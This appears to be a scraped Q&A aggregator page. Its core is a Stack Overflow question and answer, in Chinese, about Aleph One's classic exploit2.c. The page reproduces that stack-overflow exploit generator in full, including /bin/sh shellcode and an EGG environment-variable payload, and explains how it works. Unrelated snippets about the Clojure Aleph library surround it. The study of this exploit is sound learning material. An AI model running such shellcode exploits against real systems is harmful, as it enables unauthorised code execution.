- android - 多次调用 OnPrimaryClipChangedListener
- android - 无法更新 RecyclerView 中的 TextView 字段
- android.database.CursorIndexOutOfBoundsException : Index 0 requested, 光标大小为 0
- android - 使用 AppCompat 时,我们是否需要明确指定其 UI 组件(Spinner、EditText)颜色
我正在阅读“Smashing The Stack For Fun And Profit”,并找到了第一个使用环境变量的溢出示例:
exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
Now we can try to guess what the buffer and offset should be...
现在,我了解了设置“NAME=VALUE”形式的环境变量的整体理论,正如我们在上面的代码中看到的那样,它是 EGG=OUR_SHELL_CODE。
但我不确定溢出发生在何处/何时... main 的返回地址是否被覆盖?希望地址?偏移量是怎么回事?我们试图到达什么地址?
我们为什么要找栈指针的地址?我的意思是使用 malloc() 将在堆 上分配内存,那么为什么我们需要堆栈 末尾的地址(使用 get_sp())?此外,溢出堆中的缓冲区不会覆盖返回地址..
为什么我们写“system(”/bin/bash”);”? (我们已经在 shellcode 中有了 bin/sh)它是以某种方式加载/执行环境变量的方式吗?
请为我(尽可能详尽)填写此漏洞利用步骤的所有空白。非常感谢! :-)
最佳答案
这是一个将创建漏洞的帮助程序。这不是易受攻击的程序,该程序恰如其分地命名为 vulnerable
。
此程序使用堆内存构建一个 EGG
环境变量,其中包含基于指定参数创建的漏洞。它假定易受攻击程序的堆栈指针与当前程序有些相似。 offset
用于抵消任何差异。该漏洞的大小为 bsize
,它将包含 shell 代码本身,后面是 shellcode 开头的猜测地址的副本。这个尾随部分有望覆盖易受攻击程序中的返回地址,从而将控制权转移到有效载荷。
EGG
创建后,程序会为您生成一个 shell,以便您可以启动易受攻击的程序。在原文中可以看到漏洞程序是通过./vulnerable $EGG
启动的。
这个漏洞生成器不是非常好的代码,但那是另一回事。
关于c - 使用环境变量了解 Aleph one 的溢出,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/27524913/
我正在尝试基于 aleph 构建 RCP 服务器。它通过了所有测试,但是当用于发送或接收的字节数组变大时,字节似乎已损坏。 例如。我试图发送一个长度为 2936 的字节数组,但我在服务器上只收到了 1
我有以下代码: (ns alephtest.core (:use lamina.core aleph.tcp aleph.formats)) (defn connect
我编写了一个非常简单的广播/回显服务器,它使用带有 clojure 和 aleph 的 Web 套接字。 我花了很多时间查看 aleph 和 lamina 来源,以对这里发生的事情有一个体面的、基本的
我正在阅读 Aleph one 的《Smashing The Stack For Fun And Profit》,并到达了这个位置: overflow1.c ---------------------
我正在阅读“Smashing The Stack For Fun And Profit”,并找到了第一个使用环境变量的溢出示例: exploit2.c ------------------------
这个问题在这里已经有了答案: 关闭 12 年前。 Possible Duplicate: Programming Logic: Finding the smallest equation to a
在我学习 Clojure 的过程中,我目前面临着设置 websocket 通信的问题。经过许多不同的方法后,我最终使用 aleph . 我成功实现的目标: 处理新客户端连接 处理客户端断开连接 随意从
我使用 Clojure 编写了一个相对简单的 HTTP 服务器 Aleph图书馆。这不是很复杂: (ns cxpond.xmlrpc.core (:gen-class) (:require [
我从 Smashing the Stack for Fun and Profit 复制了示例 3在 Linux x86_64 上。但是我无法理解为了跳过指令应该增加到返回地址的正确字节数是多少: 0x
我的 clojure noir 应用程序在本地 100% 正常运行,并且连接到 RedisToGo 没问题。 问题是当我部署到 Heroku (git push heroku master) 时,出现
我一直在搞乱 Aleph One 的“Smash the Stack for Fun and Profit”,发现在为我的 64 位处理器编译代码时,堆栈内存没有使用通常的“sub $”分配值,%RE
我阅读有关 Clojure 的内容已经有一段时间了,我正在考虑将其作为 Node.js(我已将其用于另一个项目)的替代品。最有前途的库似乎是 Aleph/Lamina,不幸的是它没有 Node 那么多
我正在尝试使用 WARMR 在我的数据中查找频繁的关系模式;为此,我在 SWI-Prolog 中使用 ALEPH。然而,我正在努力弄清楚如何做到这一点,以及为什么我之前的尝试没有奏效。 在我继续处理我
我正在尝试使用 Aleph 编写一个简单的 TCP 服务器。一切正常,除了我不确定应该如何检测 channel 何时关闭。 来自documentation : When the client clos
我正在阅读 Aleph one 的“粉碎堆栈以获得乐趣和利润”,并到达了这个地方: jmp 0x2a # 2 bytes popl %
我正在尝试使用 aleph 连接到相互验证的 Docker 守护进程。 aleph 文档显示您可以传入 netty SSL 上下文以进行身份验证。看起来我正在正确创建 SslContext,但所有
几天前我开始学习 Clojure。我正在尝试使用一些 Aleph TCP 回显服务器示例,但我无法让服务器绑定(bind)到 tcp v4 端口。默认情况下,服务器仅绑定(bind)到 tcp v6
我是一名优秀的程序员,十分优秀!